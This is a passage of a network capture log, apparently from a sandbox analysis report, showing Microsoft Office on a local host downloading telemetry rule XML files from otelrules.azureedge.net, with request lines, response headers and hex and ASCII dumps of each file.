2024-11-21 21:34:54 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:54 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:55 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: de9d050e-401e-0078-2067-3b4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213455Z-178bfbc474btvfdfhC1NYCa2en000000026g000000002uet x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:55 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:54 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:55 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d606dcfe-601e-003e-695e-3b3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213455Z-178bfbc474bv7whqhC1NYC1fg4000000020g00000000p5t0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:55 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:55 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:55 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:55 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 6d8f64b9-901e-005b-763b-3c2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213455Z-178bfbc474bp8mkvhC1NYCzqnn00000001t000000000yxta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:55 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:55 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:56 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:56 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cd486f0a-401e-0048-5b49-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213456Z-15b8b599d8885prmhC1TEBsnkw00000000p000000000aqnf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:56 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:56 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:56 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:56 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 11fd19a1-001e-0046-3f80-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213456Z-174c587ffdf59vqchC1TEByk6800000000m000000000ud27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:56 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:56 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:57 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:57 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 36815d12-601e-0070-4763-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213457Z-178bfbc474bfw4gbhC1NYCunf400000001xg000000014n6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:57 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:57 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:57 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:57 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 23fc118c-601e-0084-474e-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213457Z-r1d97b99577dd2gchC1TEBz5ys0000000aqg00000000q55x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:57 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:57 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:58 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:57 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 24867866-a01e-0053-1264-3b8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213457Z-178bfbc474btvfdfhC1NYCa2en0000000270000000000db5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:58 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:58 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:58 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:58 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 1f0666f4-801e-007b-6865-3be7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213458Z-178bfbc474b7cbwqhC1NYC8z4n000000020g000000006432 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:58 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:58 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:59 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:59 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c87fa586-301e-0052-7045-3c65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213459Z-174c587ffdfx984chC1TEB676g00000000eg0000000029cx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:59 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:59 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:59 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:59 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 990fd94f-f01e-0052-6c4e-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213459Z-178bfbc474bp8mkvhC1NYCzqnn00000001w000000000gpm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:59 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
